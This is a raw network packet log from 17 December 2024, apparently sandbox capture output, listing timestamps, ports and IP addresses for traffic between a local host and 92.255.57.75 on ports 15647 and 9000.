Dec 17, 2024 08:40:29.122780085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.122852087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.134047031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.141273975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.141360998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.145925999 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.146033049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.146056890 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.146073103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.172692060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.182620049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.182698965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.182727098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.185000896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.189982891 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.190038919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.190064907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.212937117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.213023901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.214948893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.215082884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.215102911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.221611977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.223828077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.238360882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.243750095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.253984928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.255883932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.266400099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.267891884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.287401915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.291408062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.291481018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.294167995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.294372082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.309362888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.311877966 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.326504946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.326517105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.326633930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.335386992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.339401007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.339840889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.363838911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.367923975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.375386953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.375863075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.386493921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.386508942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.386625051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.386806011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.391374111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.391843081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.411382914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.411911011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.414213896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.414283037 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.434308052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.434323072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.434446096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.434446096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.440501928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.440551043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.440615892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.457683086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.457798958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.457954884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.491370916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.495362043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.495840073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.506495953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.506555080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.506583929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.531864882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.531960964 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.540493011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.540559053 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.541009903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.554557085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.554568052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.554630995 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.555248976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.555334091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.567819118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.568186045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.590545893 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.608361006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.611323118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.611417055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.613471031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.613532066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.613584995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.627819061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.627883911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.635823011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.636018991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.654759884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.660933971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.661000013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.675189018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.675270081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.683823109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.683834076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.684039116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.686600924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.686644077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.687793016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.687850952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.703788996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.703859091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.706434011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.706445932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.706494093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.710546970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.710613012 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.731214046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.731327057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.731664896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.731792927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.731818914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.731844902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.734745026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.734844923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.746462107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.746541023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.752667904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.755541086 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.774539948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.774616957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.780881882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.780926943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.797292948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.803812981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.803823948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.803893089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.806457996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.807821035 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.818794966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.818805933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.818880081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.826457977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.844726086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.844758987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.844846964 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.852541924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.853033066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.853041887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.853120089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.866411924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.867877960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.874349117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.874378920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.874466896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.892669916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.895848036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.899878025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.916765928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.917474031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.919837952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.922418118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.923841953 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.926455021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.927836895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.928571939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.928782940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.928847075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.949821949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.965585947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.966538906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.967380047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.967854023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.973002911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.975850105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.987776995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.991868973 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.992432117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.992495060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.996444941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.996454954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.996531963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.015501022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.015737057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.030996084 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.031816006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.031889915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.039839983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.040472031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.047832012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.049583912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.049595118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.049690008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.058551073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.059829950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.070605040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.071846962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.087048054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.087745905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.087862015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.094285965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.094363928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.094413996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.095334053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.095410109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.095534086 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.109993935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.111848116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.112430096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.115838051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.115971088 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.135843992 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.138847113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.145764112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.145780087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.145792007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.145869970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.157852888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.157922029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.169868946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.169929981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.184907913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.184993982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.205842018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.206156969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.214833975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.217832088 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.217844963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.217955112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.235819101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.237663031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.237675905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.237689018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.237735987 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.258083105 CET	9000	50062	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.258099079 CET	9000	50062	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.258167982 CET	50062	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.258308887 CET	50062	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.258893967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.258977890 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.261924028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.262433052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.278985023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.279078960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.289836884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.289896011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.290014029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.304183006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.304253101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.316140890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.316270113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.316363096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.336468935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.336625099 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.337306023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.337318897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.337358952 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.344710112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.345190048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.358828068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.358920097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.359150887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.361951113 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.362091064 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.371810913 CET	50063	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.393490076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.413541079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.431936026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.451401949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.465456963 CET	9000	50062	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.465473890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.465485096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.465564013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.478476048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.478497982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.478518963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.478584051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.482670069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.482682943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.482712984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.482736111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.482801914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.535973072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.561167002 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.586245060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.586855888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.587217093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.598329067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.598366976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.598429918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.598445892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.598479986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.602627993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.602914095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.645740032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.663058996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.678267002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678284883 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678297043 CET	9000	50063	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678306103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678328991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678339005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678349018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678358078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678381920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678391933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678401947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678411007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678433895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678450108 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678458929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678479910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678489923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678503036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678514004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678524017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.678524017 CET	50063	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.678524017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.678541899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678550959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678580046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.678590059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678600073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.678615093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.678637981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.680001974 CET	50063	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.681305885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.681428909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.703442097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.706281900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.710119009 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.724004030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.724179029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.728682995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.728749037 CET	15647	49998	92.255.57.75	192.168.2.5
